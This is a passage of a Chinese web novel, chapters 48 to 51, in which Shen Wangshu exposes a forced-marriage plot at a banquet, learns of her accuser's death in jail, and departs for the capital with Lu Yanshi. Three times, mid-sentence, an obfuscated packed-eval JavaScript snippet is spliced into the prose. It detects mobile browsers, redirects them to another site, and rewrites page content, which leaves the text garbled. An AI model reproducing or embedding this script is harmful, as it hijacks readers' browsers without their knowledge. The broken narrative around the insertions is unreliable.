沈星遥原本正和柳半夏、梅停云一边吃饭一边等妹妹和陆晏时回来,却不想二人都去了快一刻钟了,还是一点要回来的样子都没有。 他免不得想起除夕夜宴时,那姓虞的一家刁难沈望舒的模样,沈星遥这个做兄长的免不得就有些担心,当即站起身要去找人,生怕沈望舒再叫人欺负了。 梅停云倒知道他言行无状,倒也不打算拦着,他大抵猜到陆晏时与沈望舒多半是被人刁难了,若没有沈星遥这种胡搅蛮缠的人去闹一番,只怕不会这么快脱身——大人物都要面子、要装清高、装无辜,最害怕别人将事情摊在明面上来讲,像沈星遥这样的人过去,指不定更有奇效。 果不其然,沈星遥一推开那个包厢的门,就瞧见他的妹妹与陆晏时二人,正孤零零地站在错金的黑色屏风跟前,面色不善,似乎在众人正对峙着什么,沈望舒的面上还有道未干的泪痕,宛若受了什么天大的委屈,沈星遥当即恼了火,想也不想地大声道:“干什么呢?!” 沈望舒没想到他会过来,表情似乎有些错愕,却又很快镇定下来,笑了一声,道:“大哥来的正好!” 她抬起手,毫不客气地往虞妙瑛身上一指,告状似的说:“这虞姑娘正要把我指给吴应春为妻呢,再过一会儿只怕是连婚期都要定下来了。” 沈星遥当即怒骂:“放他娘的狗屁!” 他这纨绔少爷,向来天不怕地不怕,只把自己这妹妹当作天下第一的大事,见沈望舒受了欺负,不假思索地破口大骂道:“你算是个什么东西,也配来管我妹妹的婚事?仗着自己有个好爹就敢这样糟践良家妇女?!简直是非不非、草菅人命!信不信老子明天就上京去告御状,不把你那太常寺卿的爹告倒老子誓不罢休!我倒要看看,究竟是个什么样了不得的人物,才能生出你这么一个心如蛇蝎的女儿!” 虞妙瑛当即脸色煞白,虞夫人自然也是勃然大怒:“你胆敢侮辱朝廷命官!” “我侮辱什么了?”沈星遥冷笑一声,“你这泼妇是老糊涂了还是耳背了,还以为你女儿也有本事做官了不成?” 沈星遥三两句话骂得虞氏母女面红耳赤,又将这事情牵扯到太常寺卿的身上去,叫她们二人又有些害怕,怕他真的闹到京城去叫虞鸿声誉受损,一时间竟也想不到如何反驳。 他骂完了虞妙瑛,又扭过头去看桌上那群公子,冷笑道:“一群趋炎附势的酒囊饭袋,瞧见个当官的就忘了自己是个什么东西,一群男人欺负一个手无寸铁的弱女子!当真是书都读进了狗肚子里去!” “有什么事便冲我来!欺负我妹妹算什么本事?!” 众人被骂得心虚,当下也不敢反驳他什么,而赵知府此时终于在慌忙之中站起了身,陪着笑道:“都是误会,都是误会,诸位都别动火气。” 他平日里在背地里拿了沈府不少的好处,自然不愿意与沈府这座财神轻易交了恶:虞家人总有一天要回京城去,而他还要靠沈家给自己的钱来保持现在的逍遥日子呢! 但他也不想和京城的大官家眷起了什么冲突,给自己的仕途找来什么不必要的麻烦,只好一直坐在边上装死,但眼看着失态失控,也不得不出来两头安抚,试图叫双方各退一步,别再闹下去了。 “哪里来的误会?”沈望舒却半点面子都不给,坚决不肯让步,“这件事里究竟有哪一步是误会?是谁误会了谁?民女实在愚笨,还请赵大人明示。” 她这样一说,那头的吴应春也不服气了起来,大吼了一声:“没错!是你沈望舒勾引我在先!又水性杨花抛弃我在后,哪来的什么误会!” 说罢他还转过头去冲沈星遥道:“人家虞姑娘和虞夫人是看我被你妹妹骗的可怜,才替我说了几句公道话!你在这里胡搅蛮缠个什么劲!我还没嫌弃你妹妹生性下贱,还愿意娶她回家,你还好意思在这狗叫!” “你这王八蛋,这话你好意思说,小爷我都不好意思听!”沈星遥恨不得直接扔些什么到那吴应春的脑子上,砸得他头破血流才好,“你也不撒泡尿照照你自己,就你那德行,就你长那埋汰样子,我妹妹能看上你这个癞蛤蟆!?” 众人顿时哄堂大笑。 而沈望舒却在这一篇哄笑之中,“啪”地又落下一滴泪来。 她好似不堪忍受这样的羞辱,哭得眼眶通红,断了线一样的泪花自眼角滑落,像珍珠似的泪珠挂在她的面颊上,叫她看上去像是破碎的月,无端地惹人怜惜。 “我也不知道究竟哪里得罪了虞姑娘,”她眼泪汪汪,敬职敬业地继续演起绿茶,“何以让姑娘如此记恨于我,以至于你几次三番都要这样针对我?” “姑娘有什么看不顺眼的,不妨直接告诉我一声,我好知道自己究竟做错了什么,才能给姑娘赔罪。” 沈望舒在装无辜和可怜这件事上几乎是个无师自通的天才,只消这么掉上几滴眼泪、再呜咽上三两声,就能轻而易举地将虞妙瑛指控成一个阴晴不定、心肠歹毒的女人,叫虞妙瑛装出来的大度与气质在顷刻间灰飞烟灭。 但她还不满足,还要声泪俱下地指控道:“我与姑娘总共才见过几次面,话也没讲过几句,姑娘究竟为何要用如此下作的手段来陷害于我?” “胡说八道!”还是虞夫人先反应过来,黑着脸怒道,“你有几个胆子,敢栽赃我的女儿?!” 她瞪着沈望舒,摆出那副官太太的威严来,道:“那吴应春如何是你们二人之间的事情,又与我儿有什么关系?少往她身上泼脏水!” 偏偏沈望舒等的就是她这句话。 “既无关系,那就最好了。” 她的眼泪说停就停,比关水龙头的速度都快,只见她福了福身子,一字一句地道:“那便请太常寺卿夫人和赵大人为民女做主,彻查吴应春,好还我一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201592|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清白。” “律法中规定,”陆晏时也适时接了句:“无故污蔑女子清白,当杖责十五。” 吴应春脸都白了,慌忙往虞妙瑛的方向看去,其实明眼人也都能瞧出来,虞妙瑛与这桩事情有着脱不开的干系,否则哪有前脚吴应春拿出书信来,后脚她就要把这事一锤定音了的道理?只是到底她们一家人位高权重,不敢有人拿她们怎么样罢了。 沈望舒要的就是她们的位高权重,要得就是她们必须为了声誉不得不装出来的公道模样。 “只要这位吴公子喜欢上了谁,他便可以随便拿出一沓书信来说人家姑娘和他暗通款曲,”她一指吴应春,冷笑道,“以后万一看上了虞姑娘呢?看上了宫里的娘娘呢?都这么轻而易举地叫他娶回家?届时举国上下皆是吴公子的妻妾……那也忒可怕了些。” 赵知府这回想糊弄也糊弄不成,又瞧见虞夫人与虞妙瑛面色不善,只先让人把吴应春带下去,省的他到时候说出些什么不该说的东西,等到人进了官府里,他再卖两边一个面子,叫吴应春上沈家去赔个礼道个歉,这事情也这么就过去了,谁也不得罪。 沈星遥见吴应春被带走了,这才瞪了一眼虞妙瑛,二话不说拉起沈望舒就往外走,是一刻钟都不愿意她在这腌臢地方多呆,陆晏时见状当即也跟了出去,再也没看屋里人半眼。 他才走出门,就听见前头的沈星遥边走边训沈望舒:“也不知道你留在那里头干什么,当时就应该给那什么虞妙瑛什么吴应春的狗东西一人一巴掌,然后把他们桌子给掀了!平白受这窝囊气作甚!” 沈望舒没忍住笑,道:“那虞家人和赵知府我们可都得罪不起,真把桌子掀了,咱们家可就大难临头了。” 沈星遥一撇嘴,没话说了。 他们几人走回包厢门口,沈望舒要沈星遥先进去,自己还有话要和陆晏时讲,沈星遥点点头老实进去了,沈望舒这才回过身去,对着一直跟在自己身后的陆晏时道:“今日之事多谢了。” 她的脸颊上还挂着两道尚未干去的泪痕,叫廊下的灯光一照,又好似流彩的宝珠贴在面颊上似的,璀璨又动人,陆晏时鬼使神差地从自己的怀中掏出张帕子来,捏着那张帕子去擦沈望舒凝脂一样的脸。 他的指尖好似块玉一样冰凉,却在碰触到她皮肉的那一刻好似着火了一般烧了起来,他轻柔又固执地将她面上的泪痕一点一点擦去,好似捧着什么珍宝一般小心翼翼,生怕自己一个不注意就在她羊脂玉一样的脸上留下刮痕,沈望舒叫他这突然的动作弄得面上一红,心里正怦怦直跳的时候,却听见陆晏时开了口,低声说了句话。 陆晏时问她:“我可以杀了吴应春吗?” 沈望舒:“啊?” 沈望舒:“啊?!” 她心底一沉,在脑子里疯狂大喊:“沈妄姝!!沈妄姝!!!咋办!!你哥哥疯了!!” 49.第四十九章 到了正月十六,杜姨娘与李家人正式相看了一次,又交换了两个年轻人的八字,双方都对这门亲事十分满意,没多久就将婚期定了下来,时间定在今年的秋天,还有大半年的时间来准备沈菀的婚事。 沈菀在屏风后偷偷瞥到一眼陈修竹的模样,倒确实像沈望舒说得那般一表人才,半推半就地应了下来,可心里多少还有些不甘心,总有一口气憋在心里似的,杜姨娘怕她在婚前再闹出什么事来,干脆形影不离地跟在她身边,就连不得已要出门的时候,也要叫自己的婢女寸步不离地跟着,说什么也不准沈菀再出门了。 这种行径简直与看管犯人无异,沈菀不过被管了三日就受不了,可她被关在府里又实在无处可去,只好上望月苑里来找沈望舒的麻烦。 沈望舒套房的东室内有一卧榻,正靠着窗摆着,深冬的日光洋洋洒洒地照在榻上,叫人窝着正舒服;窗外有两块灵石,莫约半人高,有一棵梅树倚着灵石长着,红梅正开得旺盛,从屋里望出来的时候,连那蓝天都叫这梅花遮了一半,好似红了半边的天。 沈菀面对着沈望舒,坐在她的卧榻上,手拿着一把琉璃棋子,在玛瑙做的上摔得噼啪作响,沈望舒则低头佯装看书,实则在与脑子里的沈妄姝天人交战,半点要理沈菀的意思都没有。 只因为沈妄姝这死丫头的系统不知从哪里给她搞来了一整套的《甄嬛传》电视剧,她这两日在自己脑子里看得津津有味,到沈望舒要睡觉的时候,脑子里都还能回荡着“剪秋,本宫的头好痛啊”的声响,沈望舒看也看不见,只能听着那蚊子动静一样大的声音从左耳跑到右耳,急得她也想大喊头痛了。 “我跟你商量个事情,”沈望舒说,“甘露寺那段咱跳过不看行吗?” 沈妄姝没来得及说好,也没来得及说不好,那一头的沈菀倒是先憋不住气,把手里的棋子“哗啦”一下全摊在棋盘上,怒气冲冲地道:“你倒是说句话呀!” 沈望舒这才回过神来,“啊”了一声,怔怔道: “这……恭喜你订婚?” 沈菀更气了。 “有什么可恭喜的?”沈菀折腾够了那一盒剔透的琉璃棋子,又去扯桌上豆青瓷花瓶里插着的红梅,愤愤道,“桩桩件件都不如你过的称心如意,烦死了!” “你是你我是我,”沈望舒倒有些莫名其妙,问:“你老和我比什么?” 她这样一问,倒把沈菀问住了。 无他,只因为连她自己也说不清楚,为什么自己总想要和沈望舒比较。 但她总归是觉得不服气——明明都是沈家的女儿,凭什么她沈望舒就能活得肆意妄为,还能继承沈家万贯家财,而自己就要事事小心翼翼、曲意逢迎,日日想着算计?又凭什么一样都是妹妹,沈星遥却只疼爱沈望舒一人?就算是宠爱自己的娘亲,如今竟然也开始向着沈望舒说话,叫自己要多听她的话了! 哪怕她心里清楚若没有沈望舒添的那一笔嫁妆,她大抵很难嫁到陈修竹这样正经的人家里去做正妻,只是她总觉得自己不比沈望舒差上多少,一瞧见她日子过得舒心,沈菀心里就难受。 她十分想叫沈家人后悔。 想让沈望舒后悔她曾经仗着长姐的身份欺负自己,想让沈星遥后悔他没有疼爱自己,想要让爹爹后悔没有看重自己,更想要叫他们对自己另眼相看,而她所能想到的最好的、最快的、也是唯一的叫自己变得高高在上的途径,就只有嫁给一个好男子、攀附上他与他的家世之后,她就可以如愿让沈望舒向自己低下那高傲的、不可一世的头颅了。 但沈菀又如何能把这些阴暗的心思说与人听?哪怕现下沈望舒本人正坐在她的跟前,她也没法把这样的想法说出口来。 沈望舒看她支支吾吾,大概猜到她心里在想些什么,只有些尴尬地笑了一声,道:“你嫉妒我?” 沈菀被戳中心事,自然十分不爽,怒气冲冲地道:“我嫉妒你怎么了!” 她把手里的花瓣愤愤地往沈望舒身上丢,可惜那花瓣几乎没有重量,才脱了她的手就又轻飘飘地落到桌上去,像极了她努力却又一无所获的人生,她越想越觉得委屈,竟然落下泪来,道:“我就是想过的比你好,又有什么错?” “你要一直想着跟别人比,这辈子都不可能过得幸福的,”沈望舒倒也不跟她生气,反而一片片地把花瓣叠在一起,像发现了什么好玩的游戏,“哪一日你比赢了我,又会发现在我之上还有更好的人,比得过来吗?” “再说你害我的事情,我还没跟你计较呢,”沈望舒笑了一声,“你怎么还好意思跑来嫌我烦?” 沈菀自知理亏,哼哼唧唧了半日,才说了句:“算我对不起你好啦!” 沈望舒并不接受她的道歉,却也不再和她计较此事,只是和她说了句:“你想叫我瞧得起你,你自己就得有本事,别总想着把人生绑在男人的身上,男人靠不住。” 她把那些花瓣捡好了,又把她们塞进沈菀的手心里,道:“否则就算哪一日你有本事做了皇后,我也一样是要瞧不起你的。” 沈菀撇了撇嘴,并不回话。 “你日子是过给自己的,你想不明白这些,你这辈子都活不痛快,”沈望舒懒得再多解释,身子往靠垫上一歪,懒洋洋地说,“陈修竹你不喜欢可以再换,可若抱着跟我赌气的想法去给自己寻夫家,那你一辈子也寻不着好的。” 她叫那日头一照,更显的玉骨冰肌、华光丽质,像是高不可攀的瑶池仙子,明晃晃地在告诉着沈菀她们二人之间的差距,沈菀美也美不过,说也说不过,在沈望舒这里再呆着也觉得没了意思,悻悻地离开了。 直到瞧见她的背影消失了,沈妄姝才开口问她:“你和她说那么多作甚?左右都是她自己的选择,好坏都叫她自己承担就是了。” “我有罪,我是圣母,”沈望舒摊了摊手,“我这不是想着你俩好歹姐妹一场,多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211984|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少能帮一点是一点嘛。人家也陪着你死了两回了,我拿了你那么多钱,总要给你送点附加服务的。” 沈妄姝哼哼唧唧,她和沈菀互相看不惯了十几年,不是你骂我一句就是我打你一下,如今倒也说不清楚究竟是谁更对不起谁些,但她沈妄姝向来以自己为中心,自然不会为了这样的事情去给自己徒增烦恼,哼唧完了以后就继续去看她的甄嬛传去了。 她一个古代人,第一次接触电视剧这样的东西,自然是看得如痴如醉,每看半集都要感叹沈望舒那个时代的神奇,今日还未来得及感叹呢,却见沈望舒的侍女推了门进来,在她耳边低声道:“小姐,吴应春昨日夜里暴毙在牢里了。” 沈望舒和沈妄姝皆吓了一跳。 “怎么会突然死了?”沈望舒问。 侍女摇了摇头,回道:“不清楚,只说是突发恶疾,昨夜里一口气没喘上来,人就没了,吴家人一早就在官府门口讨说法了。” 沈望舒点了点头,才叫人下去,脑子里的沈妄姝就大喊了一声:“不是陆晏时!他不是滥杀无辜的人!也不会知法犯法!” 原是她想起那一日元宵宴上,陆晏时怒上心头时说要杀了吴应春的话,生怕沈望舒误会了自己爱豆,连忙抛弃了甄嬛传来为他澄清反黑,沈望舒却想也不想地答:“我知道。” “你知道?” “废话,”沈望舒翻了个白眼,“我想了想,他那天之所以那么有底气站出来替我说话,又说什么要杀了吴应春,应该是已经知道自己皇子身份了,只是剧情里写他不能表明身份,只好连我们都瞒着了。” 沈望舒顿了顿,又说:“他如今也不过是个没什么势力的皇子,最多就有几个皇帝派来的暗卫,不会轻举妄动去害人性命的。” “哦,”沈妄姝砸吧砸吧嘴,又想起什么似的问,“那吴应春是谁杀的?” 毕竟前两世都没发生过吴应春暴毙而死的事情,她自然会认为吴应春的死非比寻常,沈望舒想也不想便道:“笨,他死了对谁有好处就谁杀的呗。” 沈妄姝“哦!虞妙瑛!” “她也是急了,找上吴应春这种蠢货来害我,却不想这事情闹到收不了场,”沈望舒的手指在桌面上一叩一叩,“她和她娘怕吴应春说出什么不利于她们的话,更不希望吴应春以此为把柄来要挟她们,干脆杀人灭口了。” “下手又狠又果断,这才叫恶毒女配啊,”沈望舒感叹道,“你跟她比起来太小儿科了。” 沈妄姝被她说得气呼呼:“你怎么又骂我!” “只可惜猜是猜到她了,却没证据去指证她——且等着吧,”沈望舒撇了撇嘴,“她不可能这么轻易就放过我,指不定还要拿吴应春的死在我身上做文章。” 她这样一说,沈妄姝立刻急了起来:“那你怎么办呀?” 沈望舒还未想好要如何应对,方才来报信的侍女又去而复返,道:“小姐,老爷来了。” 50.第五十章 前几日在元宵宴上的事情,沈望舒与沈星遥只大概与沈向远提了一嘴,说他们兄妹二人和虞家人、和吴应春起了些冲突,沈向远对着一双儿女溺爱到了极致,孩子一惹祸,他就忙不迭地去收拾烂摊子,当日夜里就给赵知府送了二百两纹银,请他在此事中帮一帮忙,在虞家人跟前多美言几句,大家和和气气的才好,若是有需要,他沈向远也愿意拉下一张老脸去给虞夫人道歉,儿女年纪小,叫她们莫要再和沈家计较了。 赵知府乐呵呵地接了他的银子,拍着胸脯打了保票,叫沈向远尽管放心,沈向远却是想不到,这才过了两日,吴应春竟然暴毙在了官府里! 而叫沈向远更想不到的,是他那日出入赵知府家里的事被人瞧见,吴应春前脚才刚死,后脚城里就传出是他们沈家为了掩盖女儿的丑闻,才要急匆匆地杀人灭口的流言,就连吴员外也要向他们沈家和知府讨一个说法,叫沈向远应付了好一阵子。 沈向远自知着了道,这才想起来要去问一问沈望舒这事情的来龙去脉。 他甫一进门,便急吼吼地走到沈望舒的跟前,道:“囡囡,你老实告诉爹爹,那吴应春究竟怎么欺负了你,为何突然就死在了牢里?” 那一日碍于宴席上宾客太多,沈向远又喝了个半醉,沈望舒并未能同他把事情的来龙去脉讲得太细致,又有谁能料到虞妙瑛下手会这样狠,才隔几日就这样杀人灭了口! 她这才和沈向远把虞妙瑛联合吴应春污蔑她、意图把她嫁给吴应春的事情原原本本地讲了,沈向远听罢,气得面色涨红,连连道:“岂有此理!岂有此理!” “那姓吴的竟然还好意思来我们家讨说法!简直欺人太甚!”沈向远骂完吴家,又去拍沈望舒的手背,安抚似的哄道,“你放心,爹爹绝不会叫你吃亏!” 沈望舒笑了笑,对沈向远的关心很是受用,她张开手来握住了沈向远的手,低声道:“爹,我想出去避避风头。” 沈向远的表情显然有些意外。 却听得沈望舒长叹一口气道:“那虞妙瑛显然视我为眼中钉、肉中刺,今日我侥幸躲过一劫,却不知明日她会想出什么法子来害我。” “如今吴应春的死、外头四起的流言都与她脱不开干系,桩桩件件全都是针对我来的,她们位高权重,我们沈家如今实在得罪不起——自古民不与官斗,硬碰硬总归是我们吃亏。”沈望舒摆出副为难的模样,一字一句地说,“但她又不可能一辈子都留在杭州,总有要回京的时候。” 她顿了一顿,才又说:“我惹不起,躲总归是躲得起的。” 可沈向远又哪里舍得这个宝贝女儿到外头去吃苦?他正要拒绝这个提议时,却听得沈望舒又说:“我离开了,也省的叫这些恩怨再牵连到爹爹和哥哥,总不能叫沈家因为这点小事就受波及。虞妙瑛既然有本事在官府里就神不知鬼不觉地杀了吴应春,那我离她越远反而越安全。” 她说话的时候语气舒缓又平静,桩桩件件都被她分析地头头是道,好似在说的事情都与自己不相干似的,半点感情都没有。 就听得沈望舒说:“而且我原本也就打算到京城去把秋妆阁做起来——爹爹不是瞧见了吗,我在琼珍楼里卖的那些玩意儿,如今正是紧俏,才卖了两日就赚了琼珍楼往年一个月的利润了。” 沈望舒的话句句在理,沈向远又如何不知?只是一听到她要去京城,又免不得担忧:“可那虞家人不也迟早要回京城去?届时你在京城遇见她们,又要如何自保?” “这京城不好,咱们不去。”沈向远连连摆手,“我叫你大哥陪你去岭南散散心可好?这一路游山玩水过去,到岭南时正好到荔枝成熟的时节,你不是最爱吃荔枝了吗?正好在那吃个痛快,再开开心心地回来过年。” 沈望舒却摇头了。 她这人向来是个倔脾气,一旦认定自己要做的目标,那就一定要亲自撞到南墙上才肯回头,现在她已经为了这个彩妆事业付出了这样多的精力与财力,连妆娘都拉拢上了,又如何肯轻易放弃?按原本的剧情里,虞妙瑛要等到开春以后才会动身回京,她早些去、快些把要做的事情做了,再与她错开时间离京也是完全可行的。 沈向远到底拗不过她,不情不愿地同意了。 沈望舒说走就要走,沈向远前脚才走,沈望舒后脚就开始张罗要上京用的行李、安排一行的护卫、交代店里的事情,不过两三日便把事情办了个大概,沈星遥原本也不愿意她走,只是他从来都倔不过沈望舒,劝了半日索性也就不劝了,反而转头去给她添置行李去了,沈望舒人还未出发,行李就已经收了五六车,比寻常人家举家搬迁带的东西都多。 沈妄姝早就知道她打算去京城,因而对她的决定并不意外,却没想到她会这么快走,沈望舒自然不敢告诉她自己时那一天夜宴上被陆晏时撩的脸红心跳,只想赶紧跑路远离他,并不敢再叫自己继续心动下去了。 却不想陆晏时竟自己找上了门。 陆晏时来时,沈望舒正在看长得一眼望不到头的行李单,她见陆晏时来了,便把那单子放下了,站起身来迎他,意外道:“你怎么来了?” 彼时太阳刚刚西下,陆晏时的影子被夕阳的余晖拉得又细又长,沈望舒一走过来,整个人就被他的影子密不透风地包裹起来,仿佛她主动落入了他的怀抱一般,可陆晏时却没空去看这个,开口便问:“他们说你要离开杭州城?” “是呀,”沈望舒自然不瞒着,点了点头,直言道:“正准备明日去跟你说呢,你倒是先知道了。” 陆晏时板着脸、皱着眉问:“为何突然要走?” 沈望舒想叫他进了屋再说,可陆晏时的脚底好似被钉在她的书房门口似的,说什么都不肯往屋里挪上一步,沈望舒只好站在原地同他解释道:“那虞妙瑛一肚子坏水,如今又将吴应春的死扣到沈家头上来,我实在嫌烦,想出去躲个清净。” 其实沈望舒说得十分有道理,陆晏时也大概猜到她要离开的理由,可他一听见她要走,心下总免不得着急,生怕日后再也见不着、听不着她,更生气她什么事都不与自己说,脑子一热就这么跑来了望月苑。 可他陆晏时又是谁?沈姑娘要去哪里、想去哪里,何时还需要向他报备了?是以他这话才问出口,人就已经后悔了,如今站在沈望舒的书房门口,是进也不是、退也不是,尴尬地想找一条地缝钻进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233585|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>好像他一遇上沈望舒相关的事情,就总是这样容易变成一个失去理智的傻子,偏偏他还不觉得自己这样有什么不好,心甘情愿地为了她喜、为了她怒。 “沈家在京城有个铺子,”沈望舒适时补了句,“我原本就想过去看看,如今过去正好也能避开那虞妙瑛,一举两得了。” 陆晏时一听她要去京城,当下的心情又明媚了起来,他甚至还要得寸进尺地问她:“我能和你一道进京去吗?” 反正原本他也要进京去,早几月晚几月都是去,为何不和沈望舒一道?他怕沈望舒这样一去就与自己断了关系,便想方设法地要与她扯上关系,丝毫不记得梅停云告诫过他要他不要太过缠人,会招惹沈望舒的不喜。 陆晏时还怕沈望舒不答应,连柳半夏也被他搬了出来用,道:“前几日我听柳姑娘说,她师傅在京城有一好友,写了信来请她去京城,如今回春堂关了门,柳姑娘无处可去,正想要不日进京去。” 他的言下之意,就是柳半夏一个姑娘家进京路途又远又危险,沈望舒最好把她带上——既然她带了柳半夏,就应该不会介意再带他一个陆晏时了。 在原本的剧情里,他们几个人都会在江南呆到三月开春以后再陆续北上,柳半夏作为女主自然是要和陆晏时、梅停云走在一道的,可如今他们二人感情平平,柳半夏大概率不会与陆晏时结伴而行,若是沈望舒不带上她,她自己一个弱女子,在这样的时代里遇到危险的概率确实很高。 且届时陆晏时是皇帝私生子的消息会流传到的长兄、当朝太子的耳朵里,那太子心狠手辣,为了登上皇位无所不用其极,安排了杀手在陆晏时进京的路上埋伏他,尽管陆晏时有皇帝派的暗卫保佑,也免不得受了伤,就连梅停云的身上也挨了一刀,若非柳半夏在身旁,只怕是命丧黄泉了。 如果沈望舒现在带着他们进京,就可以在赶在太子得知消息之前,把他们完好无缺地送到京城里去,完美地避开这个暗杀事件。 一想到这个,沈望舒倒真的有些心动了。 反正如今这小说的剧情也已经歪了,许多剧情都与当初的设定大相径庭,那么她适时地帮一帮朋友、让他们免于遭受这些皮肉之苦又有什么错呢? 沈望舒还未来得及答应,就见陆晏时皱起了眉,摆出副可怜兮兮的模样,问她:“沈姑娘就忍心把我丢在这里,一个人去面对那如蛇似蝎的虞姑娘吗?” “沈姑娘,我也会怕。” 他终于开始打起自己这副皮囊的主意,狡猾地利用起自己这张俊美的脸来,更不介意在她的面前展露出自己无助的一面,只见他双眼低垂,嗓音里带着些酸涩的沙哑,乖顺又寂落的模样看上去像是被沈望舒无情抛弃的小狗,仿佛若是此刻她摇头说上一个不字,就是极大的罪恶似的。 偏偏沈望舒她就吃这一套。 她简直像是被陆晏时下了蛊似的,脑子一瞬间一片空白,想都不想就冲陆晏时点了头,陆晏时终于尝到自己这副长相带来的好处,不免得有些高兴,抿着唇“嗯”了一声,笑道:“那我们一言为定了。” “啊啊啊啊!!”沈妄姝大声尖叫:“他怎么能笑成这样!!他OOC!” 51.第五十一章 到了沈望舒要出发那日,正好是正月廿三,黄历上明晃晃地写着宜搬迁。 沈望舒精简再三,终于把她那些数目繁多的行李精简到了五车,任凭沈星遥再怎么多说也不肯再加,倒是又腾出一辆车来给陆晏时和梅停云坐,沈星遥一看她路上有伴,也就不再坚持了。 叫沈望舒意外的是,沈菀今日竟也来送她了。 沈菀脸上的表情似乎有些不高兴,她看着沈望舒几大车满满当当的行李,嘟哝道:“不知道的还以为你这辈子不回来了呢。” 说罢她又接了句:“若是我成亲的时候你敢不回来,我一定上京城去骂你。” 沈望舒听罢哈哈大笑:“我从前怎么没发现你原来是个死傲娇?” 沈菀听不懂她说的话是什么意思,却直觉沈望舒在骂自己,面色不善地“哼”了一句,再不与她说话了。 而那一头的沈星遥则是拉着陆晏时说个没完,沈望舒大抵听到几句,来来回回就是些“有你在我就放心了”、“妹妹需要你多照顾”之类的车轱辘话,到了沈望舒一行人要出发时,他才舍得把人放走。 沈望舒冲沈妄姝感叹道:“唉,可惜你哥这个不开窍的,不然他跟陆晏时站一起也挺配。” 沈妄姝翻了个白眼,心道你才是个不开窍的大蠢货,嘴里却”哼“地冷笑了一声,道:“笨死你得了!” 沈望舒被她骂得莫名其妙,正想反驳一句,却见沈星遥把人送到马车跟前了还不够,还要开口说一句:“对了!我们家在京城也有一座宅子,虽比不得沈府这样大,但住下你们四个也绝对是绰绰有余,届时你们三人都过去住,省的我妹妹一个人无聊!” “完了,”沈望舒顿时脸都拉了下来,“你大哥要害我!” 开玩笑,陆晏时回到京城以后,就要参与夺嫡、站到斗争的中心去了,日后要面对的可是来自太子一次又一次的暗杀,她前一次死得过于痛苦,如今又好不容易才保下命来,哪里肯轻易去当靶子?好在陆晏时自己也清楚自己身份尴尬,并不愿意将心上人与好友牵扯进无谓的争端里,想也不想便拒绝了。 此时车夫与侍卫都已经准备就绪,她们一行人终于踏着朝阳,离开了沈府,就此北上去了。 今年的冬日似乎格外的漫长,眼下都快立春了,风里的凉意却依旧冻人,沈望舒有些不舍地从车窗中探出头去,看着逐渐远去的沈星遥与沈向远的身影,心里竟然生出些不舍来,她又看了看坐在自己边上开开心心说话的柳半夏,想到自己终有一天要放弃这里的一切回到自己的世界去,越想竟然越觉得舍不得,越想越觉得难过了起来。 他们这一行人浩浩荡荡地走了七日,终于到了湖州。 湖州因其紧依太湖而得名,且此处往南去是杭州,往西北去是苏州,也算得上是交通要地,因而这城里也是十分繁华,虽不及苏杭那般富贵迷人眼,却也已经足够车水马龙,来来去去的人似潮水般延绵不绝,贩夫走卒叫卖之声不绝于耳,当真是热闹极了。 不论是古代还是现世,这都算是沈望舒第一次来太湖玩,她难得出游,自然想去那名满天下的五湖之一去瞧一瞧,只是此时已经到了傍晚,着实不是个游玩的好时候,她们只好先找个客栈住下,待休整之后,明日一早再上太湖去瞧瞧。 她们的马车再往前走不到五百米,就瞧见前头的丁字路口有一家大客栈,且见那酒楼有四五层高,建得是雕檐映日、画栋飞云,上悬一匾额,龙飞凤舞地写着「醉眠居」几个大字,相传是某位大诗人在湖州做官时所提,距今少说也有六七十年的历史了。 沈望舒她们才走进客堂,便有跑堂的伙计迎了上来,现下店里吃饭的人多,包厢全都给坐满了,沈望舒这三十来号人只得坐在大堂里头吃饭,好在客房倒是充足,用不着再去寻别的客栈了。 沈望舒向来没有那样多的讲究,这一路过来又实在饥肠辘辘,当即就寻了桌子在大堂里坐下准备吃饭,这醉眠居大抵是当地有名的客栈酒楼,饭点的时候食客几乎坐了个满当,小二的叫喊声与食客的说话声交织在一起,显得喧哗又鲜活。 而坐在沈望舒隔壁桌的一个男子引起了她的注意。 那男子年纪莫约二十上下,长了头棕色的卷发,头发被他囫囵地扎在脑后,毛毛躁躁的模样多少瞧着有些杂乱,他身型高大、皮肤白皙,眼窝深邃鼻梁又高挺,像是有人拿刀削过似的棱角分明,尤其一双眼睛,长得好似碧绿的湖,只看一眼都要叫他吸引了去。 他显然是个来中原的胡人,同桌的还有另外两个胡人,长相比起他来却是要潦草上许多,还蓄着把浓密的胡子,实在叫人不忍多看。 